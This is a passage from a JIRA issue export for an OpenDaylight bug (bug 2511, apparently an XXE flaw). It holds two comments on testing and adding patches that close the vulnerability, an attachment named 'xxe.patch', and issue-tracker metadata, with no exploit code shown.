                            <comment id="49945" author="david.jorm@gmail.com" created="Wed, 17 Dec 2014 03:52:03 +0000"  >&lt;p&gt;All the patches in gerrit look good to me. I have tested a patched build with the original reproducer, and the issue is no longer exploitable.&lt;/p&gt;</comment>
                            <comment id="49946" author="colin@colindixon.com" created="Fri, 19 Dec 2014 19:29:24 +0000"  >&lt;p&gt;There is one more non-critical patch:&lt;br/&gt;
&lt;a href=&quot;https://git.opendaylight.org/gerrit/#/c/13730/&quot; class=&quot;external-link&quot; target=&quot;_blank&quot; rel=&quot;nofollow noopener&quot;&gt;https://git.opendaylight.org/gerrit/#/c/13730/&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;This prevents the exploit from being used via a config xml file while installing a Karaf feature as well. It is non-critical as loading a Karaf feature already allows for running of arbitrary code.&lt;/p&gt;</comment>
                    </comments>
                    <attachments>
                            <attachment id="13474" name="xxe.patch" size="1226" author="david.jorm@gmail.com" created="Mon, 15 Dec 2014 03:28:01 +0000"/>
                    </attachments>
                <subtasks>
                    </subtasks>
                <customfields>
                                                                            <customfield id="customfield_11400" key="com.atlassian.jira.plugins.jira-development-integration-plugin:devsummary">
                        <customfieldname>Development</customfieldname>
                        <customfieldvalues>
                            
                        </customfieldvalues>
                    </customfield>
                                                                                                                        <customfield id="customfield_10208" key="com.atlassian.jira.plugin.system.customfieldtypes:textfield">
                        <customfieldname>External issue ID</customfieldname>
                        <customfieldvalues>
                            <customfieldvalue>2511</customfieldvalue>

                        </customfieldvalues>
                    </customfield>
                                                                <customfield id="customfield_10201" key="com.atlassian.jira.plugin.system.customfieldtypes:url">
                        <customfieldname>External issue URL</customfieldname>
                        <customfieldvalues>
                            <customfieldvalue><![CDATA[https://bugs.opendaylight.org/show_bug.cgi?id=2511]]></customfieldvalue>

                        </customfieldvalues>
                    </customfield>
                                                                                            <customfield id="customfield_10206" key="com.atlassian.jira.plugin.system.customfieldtypes:select">
                        <customfieldname>Issue Type</customfieldname>
                        <customfieldvalues>
                                <customfieldvalue key="10300"><![CDATA[Bug]]></customfieldvalue>

                        </customfieldvalues>
                    </customfield>
                                                                                                                                                                                                                                                                                                                                                        <customfield id="customfield_10204" key="com.atlassian.jira.plugin.system.customfieldtypes:select">
                        <customfieldname>ODL SR Target Milestone</customfieldname>
                        <customfieldvalues>
                                <customfieldvalue key="10360"><![CDATA[Helium-2]]></customfieldvalue>

                        </customfieldvalues>
                    </customfield>
                                                                                                                                                    <customfield id="customfield_10000" key="com.pyxis.greenhopper.jira:gh-lexo-rank">
                        <customfieldname>Rank</customfieldname>
                        <customfieldvalues>
                            <customfieldvalue>0|i02oan:</customfieldvalue>

                        </customfieldvalues>
                    </customfield>
                                                                                                                                                                                </customfields>
    </item>
</channel>
</rss>